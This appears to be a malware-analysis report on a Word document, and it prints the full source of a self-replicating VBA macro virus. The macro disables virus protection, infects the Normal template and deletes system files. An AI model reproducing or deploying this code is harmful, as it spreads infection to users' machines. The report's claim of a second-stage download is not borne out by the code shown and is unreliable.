MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
This Office document contains VBA macros that are designed to write their own code to a file named 'c:\johnny.___' and potentially execute it. The ClamAV heuristics also indicate that this file is a known malicious document type. The macro's intent is to download and execute a second-stage payload, but the full execution chain is not visible.
Heuristics 2
-
ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ethan-20
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6659 bytes |
SHA-256: 8d4bf125f2c62a6119323d7d99b9bbc31edc48272da0623af3122c3a761ea3d6 |
|||
|
Detection
ClamAV:
Doc.Trojan.Ethan-9
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
S = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\johnny.___", 6) = "" Then
Open "c:\johnny.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
A = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, A
Next i
Close #1
SetAttr "c:\johnny.___", 6
End If
If Dir("c:\windows\cdplayer.exe") <> "" Then Kill "c:\windows\cdplayer.exe"
If Dir("c:\windows\winpopup.exe") <> "" Then Kill "c:\windows\winpopup.exe"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\johnny.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, A
t.CodeModule.InsertLines i, A
i = i + 1
Loop
q:
Close #1
If Rnd < 1 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Johnny Killer": .Author = "DeathJohnny": .Keywords = "Johnny is Back": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> S Then ActiveDocument.Saved = S
MsgBox "Johnny version 1.0"
End Sub
' Processing file: /opt/analyzer/scan_staging/3dbf1bd0e2e247349256bf66939bf21a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3513 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' OnError (Resume Next)
' Line #2:
' Ld ActiveDocument
' MemLd Saved
' St S
' Line #3:
' LitDI2 0x0001
' UMi
' Not
' Ld Application
' MemSt EnableCancelKey
' Line #4:
' StartWithExpr
' Ld Options
' With
' BoS 0x0000
' LitDI2 0x0000
' MemStWith ConfirmConversions
' BoS 0x0000
' LitDI2 0x0000
' MemStWith VirusProtection
' BoS 0x0000
' LitDI2 0x0000
' MemStWith SaveNormalPrompt
' BoS 0x0000
' EndWith
' Line #5:
' ArgsCall Read 0x0000
' Line #6:
' LitStr 0x000D "c:\johnny.___"
' LitDI2 0x0006
' ArgsLd Dir 0x0002
' LitStr 0x0000 ""
' Eq
' IfBlock
' Line #7:
' LitStr 0x000D "c:\johnny.___"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #8:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' For
' Line #9:
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St A
' Line #10:
' LitDI2 0x0001
' Sharp
' PrintChan
' Ld A
' PrintItemNL
' Line #11:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #12:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #13:
' LitStr 0x000D "c:\johnny.___"
' LitDI2 0x0006
' ArgsCall SetAttr 0x0002
' Line #14:
' EndIfBlock
' Line #15:
' LitStr 0x0017 "c:\windows\cdplayer.exe"
' ArgsLd Dir 0x0001
' LitStr 0x0000 ""
' Ne
' If
' BoSImplicit
' LitStr 0x0017 "c:\windows\cdplayer.exe"
' ArgsCall Kill 0x0001
' EndIf
' Line #16:
' LitStr 0x0017 "c:\windows\winpopup.exe"
' ArgsLd Dir 0x0001
' LitStr 0x0000 ""
' Ne
' If
' BoSImplicit
' LitStr 0x0017 "c:\windows\winpopup.exe"
' ArgsCall Kill 0x0001
' EndIf
' Line #17:
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' L
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.